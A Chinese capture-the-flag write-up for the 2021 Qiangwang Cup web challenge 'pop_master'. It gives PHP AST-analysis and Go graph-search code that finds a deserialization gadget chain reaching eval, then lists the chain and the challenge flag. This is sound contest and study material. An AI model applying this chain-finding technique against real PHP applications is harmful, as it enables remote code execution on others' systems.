强网杯-Qualifier-2021/web/pop_master writeup
强网杯-Qualifier-2021/web/pop_master writeup
题目内容:听说你是pop链构建大师? http://eci-2ze1vm55dfrb5qc64x2n.cloudeci1.ichunqiu.com:80
网站代码: 链接:https://pan.baidu.com/s/1fjfhdnmrO5xJ88SN5uNNMg 提取码:t97q
// wanglei: 一种基于ast的解法,可惜php没有codeql,否则就不用造一些轮子了 写了一个简易parser,会输出函数的有效调用关系(参数不会被修改的函数)。
<?php
require 'vendor/autoload.php';
use PhpParser\{Node, NodeFinder};
use PhpParser\Error;
use PhpParser\ParserFactory;
function WhetherAssignExprWillBeExecuted($method_node, $assign_expr)
{
$nodeFinder = new NodeFinder;
$if_stmts = $nodeFinder->findInstanceOf($method_node, Node\Stmt\If_::class);
$contains = false;
foreach ($if_stmts as $if_stmt) {
$assign_exprs_in_if = $nodeFinder->findInstanceOf($if_stmt, Node\Expr\Assign::class);
foreach ($assign_exprs_in_if as $assign_expr_in_if) {
if ($assign_expr_in_if == $assign_expr) {
$contains = true;
break;
}
}
if ($contains == true) {
if ($if_stmt->cond instanceof Node\Expr\BinaryOp\Greater) {
if ($if_stmt->cond->left->value >= $if_stmt->cond->right->value) {
return true; // in if; execute
} else {
return false; // in if; not execute
}
} else {
// TODO
error_reporting("cond is not greater");
exit(-1);
}
}
}
$for_stmts = $nodeFinder->findInstanceOf($method_node, Node\Stmt\For_::class);
$contains = false;
foreach ($for_stmts as $for_stmt) {
$assign_exprs_in_for = $nodeFinder->findInstanceOf($for_stmt, Node\Expr\Assign::class);
foreach ($assign_exprs_in_for as $assign_expr_in_for) {
if ($assign_expr_in_for == $assign_expr) {
$contains = true;
break;
}
}
if ($contains == true) {
assert($for_stmt->cond[0] instanceof Node\Expr\BinaryOp\Smaller);
if ($for_stmt->cond[0]->right->value > 0) {
return true;
} else {
return false;
}
}
}
return true;
}
$classes = array();
$code = <<< 'code'
<?php
// test code
code;
$code = file_get_contents("class.php.txt");
// get ast
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
$ast = $parser->parse($code);
} catch (Error $error) {
echo "Parse error: {$error->getMessage()}\n";
return;
}
//var_dump($ast);
$nodeFinder = new NodeFinder;
$class_nodes = $nodeFinder->findInstanceOf($ast, Node\Stmt\Class_::class);
foreach ($class_nodes as $class_node) {
$classes[$class_node->name->toString()] = array();
$method_nodes = $nodeFinder->findInstanceOf($class_node, Node\Stmt\ClassMethod::class);
foreach ($method_nodes as $method_node) {
var_dump($method_node->name->toString());
$classes[$class_node->name->toString()][$method_node->name->toString()] = array();
$method_call_exprs = $nodeFinder->findInstanceOf($method_node, Node\Expr\MethodCall::class);
$assign_exprs = $nodeFinder->findInstanceOf($method_node, Node\Expr\Assign::class);
foreach ($method_call_exprs as $method_call_expr) {
$pass = false;
$arg = $method_call_expr->args[0]->value->name;
foreach ($assign_exprs as $assign_expr) {
if (WhetherAssignExprWillBeExecuted($method_node, $assign_expr)) {
if ($assign_expr->expr instanceof Node\Expr\BinaryOp\Concat) {
if ($assign_expr->expr->left instanceof Node\Expr\Variable && $assign_expr->expr->left->name == $arg) {
continue;
}
if ($assign_expr->expr->right instanceof Node\Expr\Variable && $assign_expr->expr->right->name == $arg) {
continue;
}
}
if ($assign_expr->var->name == $arg) {
$pass = true;
echo $pass . "=======================\n";
break;
}
}
}
if (!$pass) {
array_push($classes[$class_node->name->toString()][$method_node->name->toString()], $method_call_expr->name->toString());
}
}
$eval_exprs = $nodeFinder->findInstanceOf($method_node, Node\Expr\Eval_::class);
foreach ($eval_exprs as $eval_expr) {
$pass = false;
$arg = $eval_expr->expr->name;
foreach ($assign_exprs as $assign_expr) {
// var_dump($assign_expr);
// if assign under if stmt
if (WhetherAssignExprWillBeExecuted($method_node, $assign_expr)) {
if ($assign_expr->expr instanceof Node\Expr\BinaryOp\Concat) {
if ($assign_expr->expr->left instanceof Node\Expr\Variable && $assign_expr->expr->left->name == $arg) {
continue;
}
if ($assign_expr->expr->right instanceof Node\Expr\Variable && $assign_expr->expr->right->name == $arg) {
continue;
}
}
if ($assign_expr->var->name == $arg) {
$pass = true;
echo $pass . "\n";
break;
}
}
}
if (!$pass) {
array_push($classes[$class_node->name->toString()][$method_node->name->toString()], "eval");
}
}
}
}
file_put_contents("class.json", json_encode($classes));
然后就很简单了,直接从题目给的函数开始往下遍历,能遍历到eval即可
package main
import (
"encoding/json"
"fmt"
"io/ioutil"
"os"
)
type Class struct {
Name string
Methods map[string]Method
}
type Method struct {
Name string
ClassName string
MethodCalls map[string]MethodCall
Chain string
Caller string
}
type MethodCall struct {
Callee Method
}
var Methods = map[string]Method{}
func init() {
content, err := ioutil.ReadFile("class.json")
if err != nil {
panic(err)
}
var classes map[string]map[string][]string
err = json.Unmarshal(content, &classes)
if err != nil {
panic(err)
}
for className, methods := range classes {
for methodName := range methods {
method := Method{
Name: methodName,
ClassName: className,
MethodCalls: map[string]MethodCall{},
}
Methods[methodName] = method
}
}
for _, methods := range classes {
for methodName, methodCalls := range methods {
for _, methodCall := range methodCalls {
Methods[methodName].MethodCalls[methodCall] = MethodCall{
Callee: Methods[methodCall],
}
}
}
}
}
func Flag(name string) {
if name == "eval" {
fmt.Println("found")
fmt.Println(Methods[name].Chain)
os.Exit(0)
}
}
func Chain(method Method) {
//delete(Methods, method.Name)
for callee, methodCall := range method.MethodCalls {
m := Methods[callee]
m.Caller = method.Name
m.Chain += Methods[m.Caller].Chain + " -> " + Methods[m.Caller].ClassName + "=>" + m.Caller
Methods[callee] = m
Flag(callee)
Chain(methodCall.Callee)
}
}
func main() {
start := "dgpXUD"
method := Methods[start]
Chain(method)
}
这样就会得到pop链
-> GGgDzF=>dgpXUD -> Ktk7NO=>HgTbg1 -> WNsEfH=>sr9VKc -> pPoCFE=>ZmukyY -> QgGCgM=>qz2cw6 -> v1D3QB=>IKZ8A4 -> grLyED=>aFXCdT -> ikh4YZ=>Xz2I7F -> g11xLB=>piGpnb -> axWnf6=>SY2eBG -> ZsRdIq=>Wzw3Ct -> GG7T1m=>TC0GhK -> LP9qxv=>gXEaaS -> ZWGMCc=>an24MD -> zfAqBZ=>eldnbI -> IycrDF=>ttBGU3 -> vUKWk9=>ltTd4e -> R37l6m=>mnC1nm -> p8ZoaB=>DHAP0W -> A70zTA=>nAzLcW -> Hodtfi=>g2lllE -> IFbnbn=>G5nRa1 -> yMRBmn=>xY2v72
flag{d9e09e76-3c89-4eae-a0d9-1d7cb851289b}